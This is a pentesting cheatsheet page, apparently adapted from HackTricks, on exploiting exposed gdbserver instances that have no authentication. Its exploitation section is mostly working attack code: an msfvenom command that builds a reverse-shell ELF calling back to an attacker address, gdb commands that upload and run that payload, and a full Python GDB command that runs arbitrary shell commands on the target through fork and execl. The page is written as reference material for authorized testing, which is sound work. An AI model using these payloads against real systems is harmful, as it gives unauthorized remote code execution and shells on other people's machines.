daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

pentesting-remote-gdbserver.md (7489B)


      1 ---
      2 title: "Pentesting Remote gdbserver"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-remote-gdbserver.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-remote-gdbserver.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Pentesting Remote gdbserver
     14 
     15 ## **Basic Information**
     16 
     17 **gdbserver** enables remote debugging of programs on a target system from a host running GDB. GDB and gdbserver communicate over the remote serial protocol, commonly over TCP or a serial device. The host should use executable and library files that exactly match the target when it needs reliable symbols and debugging behavior.<sup>[[2]](#references)[[3]](#references)</sup>
     18 
     19 gdbserver can listen on an operator-selected TCP port, so service detection may not consistently label it on a nonstandard endpoint. Confirm suspected services manually. Crucially, gdbserver has **no built-in authentication or transport security**: a connected debugger operates with the privileges of the account running gdbserver, so exposing it to an untrusted network is effectively exposing process control.<sup>[[2]](#references)</sup>
     20 
     21 ## Exploitation
     22 
     23 ### Upload and Execute
     24 
     25 If an exposed server accepts `target extended-remote` sessions and permits starting a new program, an authorized tester can create an **ELF payload with msfvenom**, upload it, and execute it. `remote put` depends on remote file-I/O support, while `run` in extended-remote mode uses `set remote exec-file` to select the target-side executable.<sup>[[3]](#references)[[4]](#references)</sup>
     26 
     27 ```bash
     28 # Trick shared by @B1n4rySh4d0w
     29 msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
     30 
     31 chmod +x binary.elf
     32 
     33 gdb binary.elf
     34 
     35 # Set remote debugger target
     36 target extended-remote 10.10.10.11:1337
     37 
     38 # Upload elf file
     39 remote put binary.elf binary.elf
     40 
     41 # Set remote executable file
     42 set remote exec-file /home/user/binary.elf
     43 
     44 # Execute reverse shell executable
     45 run
     46 
     47 # You should get your reverse-shell
     48 ```
     49 
     50 ### Execute arbitrary commands
     51 
     52 Another approach makes the inferior call `fork`, `execl`, and libc file functions through a [custom GDB Python command](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target). It requires the relevant symbols/functions, a usable `/bin/sh`, permission to fork/exec, and a target state in which GDB can call inferior functions.<sup>[[1]](#references)[[3]](#references)</sup>
     53 
     54 ```bash
     55 # Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
     56 target extended-remote 192.168.1.4:2345
     57 
     58 # Load our custom gdb command `rcmd`.
     59 source ./remote-cmd.py
     60 
     61 # Change to a trusty binary and run it to load it
     62 set remote exec-file /bin/bash
     63 r
     64 
     65 # Run until a point where libc has been loaded on the remote process, e.g. start of main().
     66 tb main
     67 r
     68 
     69 # Run the remote command, e.g. `ls`.
     70 rcmd ls
     71 ```
     72 
     73 First of all **create locally this script**:
     74 
     75 ```python
     76 #!/usr/bin/env python3
     77 
     78 import gdb
     79 import re
     80 import traceback
     81 import uuid
     82 
     83 
     84 class RemoteCmd(gdb.Command):
     85     def __init__(self):
     86         self.addresses = {}
     87 
     88         self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
     89         gdb.write(f"Using tmp output file: {self.tmp_file}.\n")
     90 
     91         gdb.execute("set detach-on-fork off")
     92         gdb.execute("set follow-fork-mode parent")
     93 
     94         gdb.execute("set max-value-size unlimited")
     95         gdb.execute("set pagination off")
     96         gdb.execute("set print elements 0")
     97         gdb.execute("set print repeats 0")
     98 
     99         super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)
    100 
    101     def preload(self):
    102         for symbol in [
    103             "close",
    104             "execl",
    105             "fork",
    106             "free",
    107             "lseek",
    108             "malloc",
    109             "open",
    110             "read",
    111         ]:
    112             self.load(symbol)
    113 
    114     def load(self, symbol):
    115         if symbol not in self.addresses:
    116             address_string = gdb.execute(f"info address {symbol}", to_string=True)
    117             match = re.match(
    118                 f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
    119             )
    120             if match and len(match.groups()) > 0:
    121                 self.addresses[symbol] = match.groups()[0]
    122             else:
    123                 raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')
    124 
    125         return self.addresses[symbol]
    126 
    127     def output(self):
    128         # From `fcntl-linux.h`
    129         O_RDONLY = 0
    130         gdb.execute(
    131             f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
    132         )
    133 
    134         # From `stdio.h`
    135         SEEK_SET = 0
    136         SEEK_END = 2
    137         gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
    138         gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
    139         if int(gdb.convenience_variable("len")) <= 0:
    140             gdb.write("No output was captured.")
    141             return
    142 
    143         gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
    144         gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
    145         gdb.execute('printf "%s\\n", (char*) $mem')
    146 
    147         gdb.execute(f'call (int){self.load("close")}($fd)')
    148         gdb.execute(f'call (int){self.load("free")}($mem)')
    149 
    150     def invoke(self, arg, from_tty):
    151         try:
    152             self.preload()
    153 
    154             is_auto_solib_add = gdb.parameter("auto-solib-add")
    155             gdb.execute("set auto-solib-add off")
    156 
    157             parent_inferior = gdb.selected_inferior()
    158             gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
    159             child_pid = gdb.convenience_variable("child_pid")
    160             child_inferior = list(
    161                 filter(lambda x: x.pid == child_pid, gdb.inferiors())
    162             )[0]
    163             gdb.execute(f"inferior {child_inferior.num}")
    164 
    165             try:
    166                 gdb.execute(
    167                     f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
    168                 )
    169             except gdb.error as e:
    170                 if (
    171                     "The program being debugged exited while in a function called from GDB"
    172                     in str(e)
    173                 ):
    174                     pass
    175                 else:
    176                     raise e
    177             finally:
    178                 gdb.execute(f"inferior {parent_inferior.num}")
    179                 gdb.execute(f"remove-inferiors {child_inferior.num}")
    180 
    181             self.output()
    182         except Exception as e:
    183             gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
    184             raise e
    185         finally:
    186             gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')
    187 
    188 
    189 RemoteCmd()
    190 ```
    191 
    192 ## References
    193 
    194 - [1] [Stack Overflow – gdbserver: execute shell commands of the target](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target)
    195 - [2] [GNU GDB manual - Using the `gdbserver` program](https://sourceware.org/gdb/current/onlinedocs/gdb.html/Server.html)
    196 - [3] [GNU GDB manual - Connecting to a remote target](https://sourceware.org/gdb/current/onlinedocs/gdb.html/Connecting.html)
    197 - [4] [GNU GDB manual - File transfer (`remote put` and `remote get`)](https://sourceware.org/gdb/current/onlinedocs/gdb.html/File-Transfer.html)